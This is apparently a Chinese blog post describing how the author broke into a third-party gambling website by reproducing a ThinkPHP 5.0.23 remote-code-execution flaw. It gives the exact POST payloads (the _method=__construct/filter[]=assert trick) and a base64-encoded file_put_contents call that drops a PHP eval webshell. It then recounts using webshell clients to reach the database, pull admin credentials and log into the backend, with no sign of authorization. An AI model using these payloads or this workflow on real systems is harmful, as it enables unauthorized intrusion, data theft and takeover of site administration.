站在大神宽阔的肩膀上复现菠菜漏洞

简介: 站在大神宽阔的肩膀上复现菠菜漏洞

01    前提


在早些时候看到先知上有一篇关于thinkphp  rce的菠菜文章


https://xz.aliyun.com/t/6267


于是顺着师傅的思路也来试试


从网上顺利找到的某一个相似的站点,然后就按照师傅的思路来了




02 geshell之路


通过报错的方式发现了当前的版本为


ThinkPHPV5.0.23



通过师傅的思路,先去找phpinfo界面


http://127.0.0.1/index.php?s=captcha



POST数据:


_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()




成功拿到phpinfo界面

查看下这里禁用了贼多的命令


那尝试写一下一句话木马吧,按照师傅写的参考里面使用了很多次都没有效果,此时一度陷入僵局。


后来经过不断的fuzz发现,这里获取phpinfo界面的方式还有post的,后端可以同时接收getpost的数据。






知道这个之后,按照师傅文章的提示进行如下的数据构造:


_method=__construct&filter[]=assert&method=post&server[REQUEST_METHOD]=file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))


将一句话木马进行加密






命令执行成功,get到shell





03 进后台


在路径:


/www/wwwroot/xxxxx/application/

发现数据库配置文件



蚁剑连接数据库失败:




使用哥斯拉连接数据库成功



查询到后台的账号和密码,在后台中翻到了后台地址(啊,这还不如直接猜。。。。)




登陆后台成功




04 总结


这次主要是踩在师傅宽大的肩膀上成功getshell的,但是还没能进行提权,命令直接被禁用,等下次有时间的时候再搞吧,溜了溜了


相关文章
|
3月前
|
运维 JavaScript 程序员
7 行代码搞崩溃 B 站,原因令人唏嘘!
7 行代码搞崩溃 B 站,原因令人唏嘘!
32 2
|
7月前
|
SQL 安全 网络协议
【黑客入侵的20个方式】就问你慌不慌
【黑客入侵的20个方式】就问你慌不慌
|
7月前
|
SQL 安全 测试技术
花无涯带你走进黑客世界之好用的渗透测试神器
隔着屏幕的祝福送给大家,祝大家端午安康,我就不群发骚扰了,看到的都好运 -。- 安全研究者对网站或者应用程序进行渗透测试而不用任何自动化工具似乎已越来越难。 花无涯带你走进黑客世界 2 学习渗透技术
|
JSON 安全 前端开发
漏洞赏金猎人笔记-GraphQL-I
为了方便理解,这里从一个例子出发来理解GraphQL 通常情况下,当你想获取有关书籍和作者的详细信息时,用REST API的风格写为:
196 0
漏洞赏金猎人笔记-GraphQL-I
|
前端开发 安全
漏洞赏金猎人笔记-GraphQL-III
前面介绍了query、mutation这两种类型的操作,今天将要介绍最后一种类型的操作:subscription
305 0
漏洞赏金猎人笔记-GraphQL-III
|
NoSQL 安全 Linux
被攻击的小白
刚刚接触服务器不久,服务器被植入挖矿脚本
被攻击的小白
|
安全 搜索推荐 Linux
网站漏洞测试 干货学习经验分享
对新知识的学习,应该明确三点:学些什么?怎样去学?三是及时复习。本文以这三点为基础,围绕信息安全学习过程展开论述。大型目标点,在新知识的学习中,明确学习目标是第一件要做的事,有目标才知道自己该往哪里走。但是对新人来说,在无人指导的情况下,明确目标这一步会比较迷茫,所以个人建议如下:
105 0
网站漏洞测试 干货学习经验分享
|
安全 网络安全 开发工具
渗透测试对于企业网站的重要性
网络黑客总是利用计算机系统和网络中的缺点,利用自己的技术知识来解决问题,因此,要想减少安全风险,就必须向网络黑客一样思考问题。由于互联网的发展和网络经济的兴起,越来越多的企业把服务或交易平台放到了互联网上,而这些网络应用服务与企业的收入联系得更加紧密,甚至与企业的命运息息相关,但是这些暴露在网络上的资源往往防御能力较弱,增加硬件投入并不能显著提高企业的安全水平,在这样的瓶颈下,企业对于懂得渗透测试的安全工程师的需求也越来越迫切,安全工程师的薪水也随着上升。
123 0
渗透测试对于企业网站的重要性
|
SQL 网络协议 前端开发
渗透测试学习建议~拿去日站吧
渗透测试学习建议~拿去日站吧
127 0
渗透测试学习建议~拿去日站吧
|
SQL 存储 安全
拼搏百天我要日站——SQL注入基础原理
拼搏百天我要日站——SQL注入基础原理
138 0
拼搏百天我要日站——SQL注入基础原理